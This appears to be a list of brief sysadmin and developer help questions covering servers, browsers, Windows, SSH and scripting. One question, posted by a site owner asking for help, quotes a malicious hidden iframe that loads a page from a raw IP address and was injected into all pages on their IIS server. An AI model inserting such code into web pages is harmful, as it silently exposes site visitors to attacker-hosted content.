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• File sometimes doesn't download from my website

  - by kylex

  When I attempt to download this file, sometimes it only downloads about 700KB (the file is 40MB) then I get the message that the download is complete. If I try to download the file again, it works properly. The problem seems prevalent in IE, although I've had it happen in Chrome sometimes too. I have the following code: <input type="button" value="Agree to Terms and Download" onClick="location.href='/downloads/setup.exe';" /> If it matters, this is over a secure connection. I also tried zipping the file, and had the same issues.

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• virtual hosts on lighttpd can't load

  - by Jake

  Thats what I did: Added following code to lighttpd.conf $HTTP["host"] =~ "(^|\.)test\.com$" { server.document-root = "/home/test" } created /home/test Restarted Lighttpd but it doesn't load anything Google chrome Error: No data received Unable to load the webpage because the server sent no data. Here are some suggestions: Reload this webpage later. Error 324 (net::ERR_EMPTY_RESPONSE): The server closed the connection without sending any data. Firefox: The connection was reset The connection to the server was reset while the page was loading. The site could be temporarily unavailable or too busy. Try again in a few moments. If you are unable to load any pages, check your computer's network connection. If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access the Web. can you please explain How can I fix this? Really Thanks

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• Load images in parallel - supported by browser or a feature to implement?

  - by Michael Mao

  Hi all: I am not a pro in web development and Apache server still remains a mystery to me. we've got a project which runs on LAMP, pretty much like all the commercial hosting plans. I am confused about one problem : does modern browsers support image loading in parallel? or this requires some special feature/config set up from server side? Can this be done with PHP coding or by some server-side configuration? Is a special content delivery networking needed for this? The benchmark demonstration will be the flickr website. I am too suprised to see how all image thumbnails are loaded in a short time after a search as if there were only one image to load. Sorry I cannot present any code to you... completed lost in this:(

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• Session cach and tmp folder error on cPanel Centos

  - by Danialzo

  One of my clients has come across multiple breakdowns in their websites with the following error PHP Code: Warning: session_start() [function.session-start]:open(/tmp/sess_1d6616afe1b8a0d91a8d9ec29254b453, O_RDWR) failed: No space left on device (28) in /home/***/public_html/system/library/session.php on line 11Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/***/public_html/index.php:104) in /home/***/public_html/system/library/session.php on line 11Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/***/public_html/index.php:104) in /home/***/public_html/system/library/session.php on line 11Warning: Cannot modify header information - headers already sent by (output started at /home/***/public_html/index.php:104) in /home/***/public_html/index.php on line 177Warning: Cannot modify header information - headers already sent by (output started at /home/***/public_html/index.php:104) in /home/***/public_html/system/library/currency.php on line 45&#65279;Notice: Error: Can't create/write to file '/tmp/#sql_4c5_0.MYI' (Errcode: 28) Error No: 1 They are experiencing this problem while: Nothing has been recently changed on the server tmp and other folders are occupied with not more than 10% of their total space The error come and goes I would really appreciate it if anyone could guide me through. Thanks in advance

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• SQL server availability issue: large query stops other connections from connecting

  - by Carlos

  I've got a high-spec (multicore, RAID) server running MS SQL 2008, with several databases on it. I have a low throughput process that periodically needs a small amount of information from one of the DBs, and the code seems to work fine. However, sometimes when one of my colleagues does a huge query against one of the other DBs, I see full CPU usage on the machine, and connections from my app time out. Why does this happen? I would have thought the many cores and harddisks would somehow (together with cleverly written DB server) be able to keep at least some of the resources free for other apps? I'm pretty sure he doesn't use multiple connections for his query. What can I do to prevent this?

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• No colors when running native windows shell application from mintty

  - by Pete

  Hi. I have installed cygwin (i'm not very experienced with it), and try to run a native windows shell application from it, (msbuild.exe which is the build tool for the .NET framework, to be exact). When I run the application from the normal cygwin bash shell, the output of the application appear as it should with the text colors that I would normally see in the windows command line. But when I execute the program from a mintty terminal, there is no coloring of the output, all text is in the default foreground color. I'm puzzled, because I would have expected the color coding to be the standard ANSI color code escape characters... Can this be fixed?

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• DEBIAN-likes to detect the keyboard layout

  - by blietaer

  I would like to find out the current keyboard layout of a debian-like OS. env-var? /etc/? locales? Context: __ Playing around with RFID reader in serial, using python to output to console through uinput/ The thing is, doing the conversion from fake-rfid-keyboard-codes to code sent to uinput/, I would better know if I am using a QWERTY or an AZERTY ('a' becoming 'q', etc...) Back here in Belgium, especially during the event I am working on we are highly susceptible to have both keyboard layouts, I have to support both 'on-the-fly' __ Thanx !

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• BSOD after PC has been running for a while

  - by user1389999

  I'm having a problem where my computer is getting a blue screen. I have noticed that the BSOD happens after the PC has been running for about 2 days. The BSOD's seem to be an error with atikmpag.sys with an error code of 0x00000116. The problem started about a month ago.It has happened all five times that I left my computer on that long in the past month. Because my computer is a pre-built one from Dell, and I had upgraded the graphics card (at least a year ago) to a more demanding one, I replaced the stock 360W power supply that came with it. I replaced it with a more powerful, 680W one, because it seemed like the problem could be related to a lack of power supply wattage, but it didn't affect the problem at all. Here are the minidump files for the five BSOD's that I have experienced: https://dl.dropbox.com/u/3488338/bsoddumps.zip System info: Windows 7 Home Premium x64 Dell Studio XPS 435MT Radeon HD 5670 (Version 12.4 of the Catalyst driver) Intel Core i7 920 2.67 GHz 6GB of RAM

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• Internet wireless connected with limited access, windows vista

  - by Wawa wiya

  Hello I had some malware in my computer so I did a bit of manual work to remove it including resetting TCP/IP. Now the malware is gone. I can see my home wireless network and I can get connected to it but when connected I get the Internet wireless connected with limited access message. When I go to the IE I cannot browse. When I tried to ping 192.168.1.1 I got an Error Code 1231 Unconnected Network Problem. I have deactivated my Windows firewall as I thought it could be hyperactive security. Still no luck. I have Norton but it is not active, I have also Avast and AVG installed but they are not active. Any ideas?

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• Can't ssh from Ubuntu to RHEL or CentOS

  - by Alex N

  I am trying to setup publickey based authenitcation for 2 different boxes. One RHEL another on e is CentOS. I am having same issue with both where ssh fails and falls back to password based authentication. Error that seems to be causing this is quite obscure: debug1: Unspecified GSS failure. Minor code may provide more information Credentials cache file '/tmp/krb5cc_1000' not found Both boxes are completely unrelated. I have my public key in .ssh/authorized_keys file on both boxes, all permissions are checked and good(700 for .ssh and 600 for internals) I have bunch of other servers that are running on various flavors(Gentoo, Fedora, FreeBSD etc.) and publickey ssh works just fine, but CentOS and RHEL giving me this for some reason :( Anyone experienced this before? I am not even sure how to further analyze this issue :(

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• Canon HV20 recognized, but no drivers in Windows 7 x64

  - by Tuminoid

  My Canon HV20 camcorder is properly recognized when connected via Firewire to Windows 7 x64, but no drivers are installed for it. Windows or I cannot locate any drivers for it as, but it should be working off-the-shelf. I googled a lot, and found instructions to set IEEE 1394 host to legacy mode via Device Manager, but Windows doesn't offer me the legacy option at all. If I check the properties of Canon&HV20 device in Other devices section it says The drivers for this device are not installed. (Code 28) There is no driver selected for the device information set or element. It used to work just fine on my previous installation of Vista x64 and same hardware :/

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• How do I tell memcache to ignore the django admin page?

  - by Chris

  I'm running memcache infront of django without any explicit configuration in my code. I.e. nothing more than MIDDLEWARE_CLASSES = ( 'django.middleware.cache.UpdateCacheMiddleware', ... 'django.middleware.cache.FetchFromCacheMiddleware', ) and CACHE_BACKEND = 'memcached://127.0.0.1:11211/' in my settings.py. This works great, in fact so great that it's caching my admin page leaving me no way to moderate live actions on the site until the cache refetches the data. Is there a regex I can throw somewhere to let memcached know to leave my admin page alone? (I'm also using nginx and gunicorn)

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• Nginx (for static files) and Apache (for dynamic content)?

  - by matthewsteiner

  So, my entire application runs on apache just fine. However, I want to test how much the requests per second increases if I put all static files through nginx instead. I found this thread: http://stackoverflow.com/questions/869001/how-to-serve-all-existing-static-files-directly-with-nginx-but-proxy-to-apache-t But I have a couple problems. I'm completely new to nginx, so I'm not sure where to put the configuration. (The file is at /etc/nginx/nginx.conf, but I don't know if I just add the code to the bottom or what?) Also, how can I have both servers running at the same time? Is it because they both listen on port 80? Right now I have to stop one to start the other, and that's as far as I've gotten. Thanks for any help.

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• pyexiv2 build error src/exiv2wrapper.hpp:32:29: error: exiv2/preview.hpp: No such file or directory

  - by Jake

  The other day I used apt-get install python-pyexiv2 on my ubuntu server, but it seems to have given me an old version. It's not compatible with the code I wrote in my local development environment so I'd like to update it. I downloaded the latest tar.gz from the website, extracted it and ran scons as per the readme. But it will not build, I get the error src/exiv2wrapper.hpp:32:29: error: exiv2/preview.hpp: No such file or directory I've also user apt-get to install libboost-python-dev and libexiv2-dev Can anyone help me on this?

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• Convert shell logs (incl. escape characters) to HTML?

  - by dehmann

  Is there tool or a regexp that can convert shell escape characters to HTML code? As an example, here is a logfile from GNU screen: ^MESC[K$ ^MESC[K$ exit Executing .bashrc ESC[00;31;31mserver.xyz.com: ESC[00;34;34m~ which I would like to convert to something like this: $ exit Executing .bashrc <font color=red>server.xyz.com</font>: <font color=blue>~</font> and send as HTML e-mail to an e-mail address, to archive my work. Here is a related question, which shows how to convert it to regular text, but it would be nice to convert to HTML and not just throw the escape characters away.

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• On windows commandline, how do I get a dynamic prompt that tells me where in the filesystem I am?

  - by guneysus

  I am trying to modify my CMD, to show only current dir name dynamically like: Desktop $ When i switched the folder, it must be updated. It is not required to be code in purely batch file, it may depend any external commands, cygwin bash, etc. @echo off set a=bash -c "pwd | sed 's,^\(.*/\)\?\([^/]*\),\2,'" %a% cmd outputs _test-et Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. Tüm haklari saklidir. >> But >> prompt %a% gives bash -c "pwd | sed 's,^\(.*/\)\?\([^/]*\),\2,'"

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• Roll standalone JBoss app under Tomcat

  - by Seva Alekseyev

  I've got a Linux box where there’s Tomcat running, with some JSP applications in it. Now, I’ve received a third party app from a developer shop to be eventually deployed. It came as an archive called "jboss7.tar" which, it seems, contained a whole standalone Web server. Once I’ve followed their instructions and run the designated shell script, it would start a server that would listen on port 8081, and app pages are being served up. Still, this strikes me as an inelegant setup. Why run two Web servers side by side, both of them Java-enabled? Also, the manual startup of the standalone app, I don't like that either. The real question is – can I take the user-provided portions from the said archive and somehow plug it under the existing Tomcat instance? It looks like the user code is packaged into files with .war extension, I can see them under /var/jboss7/standalone/deployments.

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• Subscript/Superscript Hotkey for Excel 2010 Macro?

  - by advs89

  Background In Excel 2010, for some ridiculous reason, there is no built-in hotkey (or even a button on the toolbar) for subscripting/superscripting text within a text cell. You can, however, highlight the text, right-click the selection, click format, and then check the [x] subscript or [x] superscript checkbox. Question Are there any kinds of excel macros or workarounds to map two keyboard hotkeys to the subscript and superscript keys, respectively? (It should only be, like, two lines of code - one for the event handler and one for the actual procedure call... I would write one myself but my VBA is rusty, at best, and I am pretty confident there is probably already some kind of solution, despite my inability to find one via search engine) Thanks for any help you can provide!

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• Not able to output to file in the Windows command line

  - by Sachin

  In the following code, I need to take the path and size of folder and subfolders into a file. But when the loop runs for the second time, path and size are not getting printed to the file. size.txt only contains the path and size of the 1st folder. Please somebody help me. @echo off SETLOCAL EnableDelayedExpansion SET xsummary= SET xsize= for /f "tokens=1,2 delims=C" %%i IN ('"dir /s /-c /a | find "Directory""') do (echo C%%j >> abcd.txt) for /f "tokens=*" %%q IN (abcd.txt) do ( cd "%%q" For /F "tokens=*" %%h IN ('"dir /s /-c /a | find "bytes" | find /v "free""') do Set xsummary=%%h For /f "tokens=1,2 delims=)" %%a in ("!xsummary!") do set xsize=%%b Set xsize=!xsize:bytes=! Set xsize=!xsize: =! echo.%%q >> size.txt echo.!xsize! >> size.txt )

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• Best way/format to convert a PDF to be able to read on android?

  - by stirredo

  I have a pdf ebook, a Technical book that conatins a lot of code. Reading it as pdf is slow plus reflowing text in the pdf reader removes all the formatting. I tried converting it to epub using calibre but that too removes all the formatting. The only pleasant experience I have had reading a technical book on my phone is as chm but I can't find anything to convert pdf to chm(Found a couple of softwares but that didn't do a good job). Has anyone had successfully experience in reading a technical pdf ebook on a android phone?

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• Maintaining CSS on a pre-built ASP.net website. How can I run this locally on a home linux server?

  - by DavidR

  I was in charge of the css for a website. I sent in my code to a guy who integrates the css with the dev site. Later they decided it would be better for me to have a more direct role in dealing with the css. I've downloaded everything on the ftp but have no idea how to get this set up. I am running an Apache server on a Fedora Linux install. Is there any way I can set up a local testing server so I can test my changes before ftp'ing them back on the site?

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• Windows 8 Color Settings (Window Title)

  - by xixixao

  In Windows 7, the window title's color (by default black, to see the title in the title bar fire up Windows Media Player for example) is stored in [HKEY_CURRENT_USER\Control Panel\Desktop\Colors] TitleText value. This is not the case in Windows 8, since this value is only used when using high contrast theme. It looks like noone has come up with a way to change this color yet, so my question is, where to look? What tools can I use to see dependencies, what could be the way to find this value (I rightfully hope it's not a constant in code).

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• Executing a command as apache

  - by Lord Loh.

  This script keeps outputting a 1. and I cannot understand why. <?php passthru("nohup sudo rndc reload sd.example.com",$op); print_r($op); ?> I have also tried the above code without the nohup. I have the following line in my sudoers file apache ALL = NOPASSWD: /usr/sbin/rndc reload sd.example.com Just to test, temporally, I allowed apache a shell, logged in as apache by sudo su apache and successfully managed to execute sudo rndc reload sd.example.com. I do not see any error message in my log files wither. What could I be possibly doing wrong? None of the similar threads have pointed me to anything that solved my problem or debug it.

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• What is the technique used to make my IIS 7 serve all pages with an injected iframe

  - by Andre Carlucci

  Since my previous question was closed without an answer, I'm changing it a bit and asking again. All my pages are being served with an malicious iframe injected just before the html tag. The code looks like this: <iframe src= http://117.21.247.171:700/1.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pt-BR"> ... Firstly I thought it could be something related with wordpress, but my asp.net sites are also infected and even if I create a static html file with nothing inside, the iframe is injected. I'm using a Windows Server 2008 R2 Standard with IIS7.5 7600. Anyone knows how to do this in IIS?

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• Case in-sensitivity for Apache httpd Location directive

  - by user57178

  I am working with a solution that requires the usage of mod_proxy_balancer and an application server that both ignores case and mixes different case combinations in URLs found in generated content. The configuration works, however I have now a new requirement that causes problems. I should be able to create a location directive (as per http://httpd.apache.org/docs/current/mod/core.html#location ) and have the URL-path interpret in case insensitive mode. This requirement comes from the need to add authentication directives to the location. As you might guess, users (or the application in question) changing one letter to capital circumvents the protection instantly. The httpd runs on Unix platform so every configuration directive is apparently case sensitive by default. Should the regular expressions in the Location directive work in this case? Could someone please show me an example of such configuration that should work? In case a regular expression can not be forced to work case insensitively, what part of httpd's source code should I go around modifying?

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